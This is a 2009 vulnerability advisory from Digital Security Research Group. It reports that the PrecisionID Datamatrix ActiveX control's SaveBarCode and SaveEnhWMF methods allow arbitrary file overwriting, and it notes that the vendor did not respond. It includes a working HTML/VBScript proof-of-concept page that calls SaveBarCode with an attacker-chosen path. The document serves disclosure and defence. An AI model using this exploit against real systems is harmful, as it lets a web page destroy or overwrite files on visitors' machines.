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[DSECRG-09-030] PrecisionID Datamatrix ActiveX control - Arbitrary File overwriting



Digital Security Research Group [DSecRG] Advisory       #DSECRG-09-030
!!!             original advisory            !!!
http://dsecrg.com/pages/vul/DSECRG-09-030.html


Application:                    PrecisionID activeX controls 
Versions Affected:              
Vendor URL:                     http://PrecisionID.com
Bugs:                           Arbitrary File overwriting
Exploits:                       YES
Reported:                       03.03.2009
Vendor response:                NONE
Secondly Reported:              17.03.2009
Vendor response:                NONE 
Date of Public Advisory:        31.0300.2009
Authors:                        
                                Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)



Description
***********

PrecisionID  have activeX control DMATRIXLib.Datamatrix that can be used to overwrite any any file in target system.



Details
*******


This control contains two methods SaveBarCode() SaveEnhWMF() that can be used to owervrite 
any file on OS


Sub SaveBarCode (
        ByVal path  As String 
)


Sub SaveEnhWMF (
        ByVal path  As String 
)






*******
Example:



<html>
<object classid='clsid:6C951D10-B07F-11DB-A6ED-0050C2490048' id='target' />
<script language='vbscript'>
targetFile = "C:\WINDOWS\system32\PRECIS~2.DLL"
prototype  = "Sub SaveBarCode ( ByVal path As String )"
memberName = "SaveBarCode"
progid     = "DMATRIXLib.Datamatrix"
argCount   = 1

arg1="C:\sh2kerr.pwn"

target.SaveBarCode arg1 

</script>
</html>



Solution
********
http://msdn.microsoft.com/en-us/library/aa751977.aspx


About
*****

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Contact:    research [at] dsecrg [dot]  com
            http://www.dsecrg.com
            http://www.dsec.ru




Regards,
Digital Security Research Group [DSecRG]
________________________________________
DIGITAL SECURITY
tel/fax: +7(812)703-1547
tel:     +7(812)430-9130
e-mail:  research@xxxxxxxxxx
web:     www.dsecrg.com
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